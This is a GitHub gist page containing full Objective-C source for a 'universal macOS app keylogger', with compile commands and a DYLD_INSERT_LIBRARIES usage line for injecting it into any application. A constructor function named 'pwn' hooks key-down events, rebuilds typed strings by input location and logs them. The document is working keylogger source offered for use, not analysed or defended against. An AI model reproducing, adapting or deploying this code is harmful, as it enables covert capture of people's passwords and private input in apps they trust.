Skip to content

Instantly share code, notes, and snippets.

@r3ggi
Last active February 14, 2024 16:11
Show Gist options
  • Save r3ggi/26f38e6439d96474491432621f2237c0 to your computer and use it in GitHub Desktop.
Save r3ggi/26f38e6439d96474491432621f2237c0 to your computer and use it in GitHub Desktop.
Universal macOS app keylogger that tracks input locations
// Info:
// Universal macOS keylogger that tracks input locations. It's injected per app as it doesn't require having global keyboard capturing permission
// Compilation:
// gcc -dynamiclib /tmp/keylogger.m -o /tmp/keylogger.dylib -framework Foundation -framework Appkit -arch x86_64 -arch arm64
// Usage:
// DYLD_INSERT_LIBRARIES=/tmp/keylogger.dylib /path/to/app/Contents/MacOS/App
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
@interface KeyloggerSingleton : NSObject
@property (atomic) NSTimeInterval lastTimestamp;
@property (atomic) NSPoint lastLocation;
@property (atomic, retain) NSMutableString *recordedString;
+ (id)sharedKeylogger;
@end
@implementation KeyloggerSingleton
@synthesize lastTimestamp;
@synthesize lastLocation;
@synthesize recordedString;
+ (id)sharedKeylogger {
static KeyloggerSingleton *sharedInstance = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [KeyloggerSingleton new];
});
return sharedInstance;
}
- (instancetype)init {
if (self = [super init]) {
self.lastLocation = NSPointFromString(@"0,0");
self.recordedString = [NSMutableString string];
self.lastTimestamp = 0.0;
}
return self;
}
@end
__attribute__((constructor)) static void pwn(int argc, const char **argv) {
NSLog(@"[*] Dylib injected");
[NSEvent addLocalMonitorForEventsMatchingMask:NSEventMaskKeyDown handler:^NSEvent * _Nullable(NSEvent * _Nonnull event) {
if([KeyloggerSingleton.sharedKeylogger lastTimestamp] != event.timestamp) {
[KeyloggerSingleton.sharedKeylogger setLastTimestamp:event.timestamp];
if(event.locationInWindow.x == [KeyloggerSingleton.sharedKeylogger lastLocation].x && event.locationInWindow.y == [KeyloggerSingleton.sharedKeylogger lastLocation].y) {
[[KeyloggerSingleton.sharedKeylogger recordedString] appendString:event.characters];
} else {
[[KeyloggerSingleton.sharedKeylogger recordedString] setString:event.characters];
[KeyloggerSingleton.sharedKeylogger setLastLocation:event.locationInWindow];
}
NSLog(@"[*] Recorded string: %@", [KeyloggerSingleton.sharedKeylogger recordedString]);
}
return event;
}];
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment